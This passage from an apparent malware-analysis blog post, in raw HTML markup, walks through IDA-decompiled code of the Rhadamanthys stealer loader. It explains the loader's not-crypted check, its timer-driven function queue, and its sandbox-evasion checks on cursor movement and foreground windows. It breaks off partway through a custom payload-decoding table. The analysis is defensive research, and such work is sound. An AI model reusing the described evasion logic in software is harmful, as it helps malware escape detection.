    &lt;span class=&quot;n&quot;&gt;sub_419808&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WindowName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v18&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;sub_405E50&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v37&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;v36&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v37&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;sub_4069C0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v35&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;sub_406B80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v35&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sub_40F830&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
           &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MessageBoxW&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;L&quot;Do you want to run a malware?&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;(Crypt build to disable this message)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;L&quot;Warning&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x34u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;DesktopWindow&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GetDesktopWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DesktopWindow&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;GetWindowThreadProcessId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DesktopWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LPDWORD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;23&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;calloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;30008u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;pNumArgs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;13565952&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;pNumArgs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;CreateWindowExW&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;WindowName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;WindowName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;mh&quot;&gt;0xCF0000u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;mh&quot;&gt;0x80000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;mh&quot;&gt;0x80000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;mi&quot;&gt;500&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;mi&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;HWND_MESSAGE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;hInstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GetMessageA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;TranslateMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;DispatchMessageA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v17&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;v17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;95&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;95&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;23&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;23&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_48E028&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_48E028&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_48E028&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_48E028&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_48E028&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_48E028&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v22&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__stdcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v22&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v22&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x8000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v22&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There are only very few obfuscation artifacts left, e.g., the assignment to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v3&lt;/code&gt; in the beginning.
In one case IDA failed to optimize a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;for&lt;/code&gt; loop update (where it says &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;j = j - 393718627 + 393718629&lt;/code&gt; instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;j += 2&lt;/code&gt;).
We can live with that ¯\_(ツ)_/¯.&lt;/p&gt;

&lt;p&gt;The ultimate test for a deobfuscator is to see if the deobfuscated application runs without issues.
Unfortunately, at the time of writing, that’s not the case for the tooling we developed.
There’s no outright crash and the initial message box appears, but a very subtle logic bug seems to prevent correct decoding of the payload.&lt;/p&gt;

&lt;h1 id=&quot;so-what-about-the-malware-loader&quot;&gt;So, what about the malware loader?&lt;/h1&gt;

&lt;p&gt;We went through all this effort to bring the code into a shape that can be reversed without too much pain.
So let’s see what the Rhadamanthys loader is actually up to.&lt;/p&gt;

&lt;p&gt;You can already glean some details from the main function printed in the previous section.&lt;/p&gt;

&lt;p&gt;One of the first consequential things that happen is a function call to 0x40F830 followed by a very conspicuous message box if successful.
As the message text implies, that function actually checks if the binary was &lt;em&gt;not&lt;/em&gt; crypted/packed.
This is implemented by doing some section parsing and reading the first 0x1000 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.text&lt;/code&gt; bytes from disk; those are simply compared with what’s in memory.&lt;/p&gt;

&lt;p&gt;Interestingly, the check disregards the fact that the binary was built with relocations and was flagged as movable.
It works regardless, because the first function is huge and doesn’t use any addresses that would need to be relocated.
The function was probably placed at that position intentionally - otherwise it’d be pure luck.&lt;/p&gt;

&lt;p&gt;Other than that, there’s lots of windowing code to register a window class and create an invisible window.
A structure called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Param&lt;/code&gt; is initialized and pretty much contains the state for the rest of the program.
It’s passed as the window’s user data pointer so that it can be retrieved later on.
The rest of the main function doesn’t actually do much; it eventually enters a classic message loop in order to support the window.&lt;/p&gt;

&lt;p&gt;Since a window is in play here, the next point of interest will usually be the so-called window procedure, or &lt;em&gt;WndProc&lt;/em&gt;.
This is called whenever the operating system has a message that either relates to the window directly or that could be relevant to the application in general (e.g., “the system is about to shut down”).&lt;/p&gt;

&lt;p&gt;The procedure handles the following messages:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WM_CREATE&lt;/code&gt;: Called after the window has been created. The malware sets up a timer with ID 2.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WM_DESTROY&lt;/code&gt;: Called when the window is about to be destroyed. The malware calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PostQuitMessage&lt;/code&gt; to essentially end the process.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WM_TIMER&lt;/code&gt;: Timer callback.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WM_CAP_SET_CALLBACK_YIELD&lt;/code&gt;: Posted by the malware itself. Queues a function pointer.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From the above, you may be able to guess that the main functionality is actually implemented using timers.
We find ourselves with a pretty convoluted scheme where many operations are executed as part of callbacks, and it’s not immediately obvious what happens in which order and under which conditions.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Timer ID 2 collects the current cursor position, foreground window and timestamp every 30 milliseconds, 1500 times. This causes a delay of at least 45 seconds until the actual payload is run.&lt;/li&gt;
  &lt;li&gt;Once it has collected everything, it will do a couple checks on the data. If the checks are successful, it queues function 0x40FBE0 and schedules timer ID 1. The checks are as follows:
    &lt;ul&gt;
      &lt;li&gt;Whether the cursor position has changed at least 30 times.&lt;/li&gt;
      &lt;li&gt;There must have been at least two foreground windows, and at least one of them must not belong to the desktop process.&lt;/li&gt;
      &lt;li&gt;If the checks fail, the loader will enter another 45 seconds interval, and it will start doing advanced checks that include calculating Euclidean distances between cursor positions. We haven’t analyzed that part in detail.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Timer ID 1 runs any queued functions.&lt;/li&gt;
  &lt;li&gt;Function 0x40FBE0 posts &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WM_CAP_SET_CALLBACK_YIELD&lt;/code&gt; with parameter 0x411850; as described above, the handler for this message simply queues the parameter as a function pointer (to the queue that timer ID 1 is working on).&lt;/li&gt;
  &lt;li&gt;0x411850 is responsible for decoding and eventually running the stealer payload. It will post additional functions using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WM_CAP_SET_CALLBACK_YIELD&lt;/code&gt; that do parts of the work.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These measures are designed to thwart execution in AV emulators and malware sandboxes.
For example, if a sandbox sets a different cursor position every 3 seconds but doesn’t simulate “fluid” movement, the captured coordinates will not exceed the threshold of 30 within 45 seconds.
CAPE and VMRay pass these checks fine, so in the end they aren’t too effective against common sandboxes.&lt;/p&gt;

&lt;h2 id=&quot;custom-binary-encoding&quot;&gt;Custom binary encoding&lt;/h2&gt;

&lt;p&gt;As promised in the intro, here’s a representation of the algorithm (function 0x416790) that is used to decode the payload strings into binary:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Input&lt;/th&gt;
      &lt;th&gt;Output&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;A-Z&lt;/td&gt;
      &lt;td&gt;0-25&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;a-z&lt;/td&gt;
      &lt;td&gt;26-51&lt;/td&gt;
